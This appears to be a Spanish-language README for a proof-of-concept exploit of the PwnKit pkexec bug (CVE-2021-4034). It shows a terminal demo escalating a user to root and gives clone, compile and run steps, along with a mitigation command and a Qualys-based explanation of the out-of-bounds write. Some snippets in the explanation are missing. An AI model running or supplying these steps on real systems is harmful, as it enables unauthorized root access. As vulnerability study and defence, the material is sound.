
Exploit de prueba de concepto basado en C para CVE-2021-4034 (PwnKit) que permite escalada de privilegios local mediante escritura fuera de límites en pkexec. Incluye instrucciones de compilación y explicación de la vulnerabilidad.
CVE-2021-4034
debian@debian:~/PwnKit-Exploit$ make
cc -Wall exploit.c -o exploit
debian@debian:~/PwnKit-Exploit$ whoami
debian
debian@debian:~/PwnKit-Exploit$ ./exploit
Current User before execute exploit
hacker@victim$whoami: debian
Exploit written by @luijait (0x6c75696a616974)
[+] Enjoy your root if exploit was completed succesfully
root@debian:/home/debian/PwnKit-Exploit# whoami
root
root@debian:/home/debian/PwnKit-Exploit#
| Comando | Uso |
|---|---|
sudo chmod 0755 pkexec | Solucionar CVE 2021-4034 |
git clone https://github.com/luijait/PwnKit-Exploit
cd PwnKit-Exploit
make
./exploit
whoami
| Comando | Utilidad |
|---|---|
make clean | Limpiar compilación para probar código modificado |
Basado en blog.qualys.com
El comienzo de la función main() de pkexec procesa los argumentos de la línea de comandos (líneas 534-568), y busca el programa a ejecutar, si su ruta no es absoluta, en los directorios de la variable de entorno PATH (líneas 610-640):
435 main (int argc, char *argv[])
436 {
...
534 for (n = 1; n < (guint) argc; n++)
535 {
...
568 }
...
610 path = g_strdup (argv[n]);
...
629 if (path[0] != '/')
630 {
...
632 s = g_find_program_in_path (path);
...
639 argv[n] = path = s;
640 }
desafortunadamente, si el número de argumentos de línea de comandos argc es 0 – lo que significa que la lista de argumentos argv que pasamos a execve() está vacía, es decir, {NULL} – entonces argv[0] es NULL. Este es el terminador de la lista de argumentos. Por lo tanto:
Pero, ¿qué se lee y escribe exactamente en este argv[1] fuera de los límites?
Para responder a esta pregunta, debemos desviarnos brevemente. Cuando ejecutamos execve() a un nuevo programa, el kernel copia nuestros argumentos, cadenas de entorno y punteros (argv y envp) al final de la pila del nuevo programa; por ejemplo:
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
Claramente, debido a que los punteros argv y envp son contiguos en memoria, si argc es 0, entonces el argv[1] fuera de los límites es en realidad envp[0], el puntero a nuestra primera variable de entorno, “value”. En consecuencia:
Entonces, dicho con más precisión:
Si nuestra variable de entorno PATH es “PATH=name”, y si el directorio “name” existe (en el directorio de trabajo actual) y contiene un archivo ejecutable llamado “value”, entonces se escribe un puntero a la cadena “name/value” fuera de los límites en envp[0];
O
Si nuestro PATH es “PATH=name=.”, y si el directorio “name=.” existe y contiene un archivo ejecutable llamado “value”, entonces se escribe un puntero a la cadena “name=./value” fuera de los límites en envp[0].
En otras palabras, esta escritura fuera de los límites nos permite reintroducir una variable de entorno “insegura” (por ejemplo, LD_PRELOAD) en el entorno de pkexec. Estas variables “inseguras” normalmente son eliminadas (por ld.so) del entorno de los programas SUID antes de que se llame a la función main(). Explotaremos esta poderosa primitiva en la siguiente sección.
Nota de último minuto: polkit también es compatible con sistemas operativos que no son Linux, como Solaris y *BSD, pero no hemos investigado su explotabilidad. Sin embargo, notamos que OpenBSD no es explotable, porque su kernel se niega a ejecutar execve() a un programa si argc es 0.